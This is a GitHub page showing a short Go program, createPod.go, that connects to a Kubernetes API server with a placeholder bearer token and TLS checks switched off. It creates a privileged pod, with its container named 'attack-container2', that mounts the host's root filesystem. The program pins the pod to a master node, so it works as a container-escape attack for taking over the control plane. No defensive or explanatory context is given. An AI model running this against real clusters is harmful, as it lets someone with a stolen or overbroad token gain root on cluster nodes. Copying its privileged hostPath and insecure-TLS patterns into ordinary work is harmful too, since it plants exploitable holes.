-
Notifications
You must be signed in to change notification settings - Fork 0
/
createPod.go
74 lines (69 loc) · 1.6 KB
/
createPod.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package main
import (
"context"
"fmt"
corev1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/rest"
)
func main() {
config := &rest.Config{
Host: "YOUR-HOST",
}
config.BearerToken = "YOUR-TOKEN"
config.Insecure = true
clientset, err := kubernetes.NewForConfig(config)
if err != nil {
panic(err.Error())
}
privileged := true
pod := &corev1.Pod{
ObjectMeta: metav1.ObjectMeta{
Name: "nginx-pod-mount2",
Namespace: "default",
},
Spec: corev1.PodSpec{
Containers: []corev1.Container{
{
Name: "attack-container2",
Image: "nginx",
SecurityContext: &corev1.SecurityContext{
Privileged: &privileged,
},
VolumeMounts: []corev1.VolumeMount{
{
Name: "host-root",
MountPath: "/host",
},
},
},
},
Volumes: []corev1.Volume{
{
Name: "host-root",
VolumeSource: corev1.VolumeSource{
HostPath: &corev1.HostPathVolumeSource{
Path: "/",
},
},
},
},
NodeSelector: map[string]string{
"node-role.kubernetes.io/master": "",
},
Tolerations: []corev1.Toleration{
{
Key: "node-role.kubernetes.io/master",
Operator: corev1.TolerationOpExists,
Effect: corev1.TaintEffectNoSchedule,
},
},
},
}
createdPod, err := clientset.CoreV1().Pods("default").Create(context.TODO(), pod, metav1.CreateOptions{})
if err != nil {
panic(err.Error())
}
fmt.Printf("Created Privileged Pod: %s\n", createdPod.Name)
}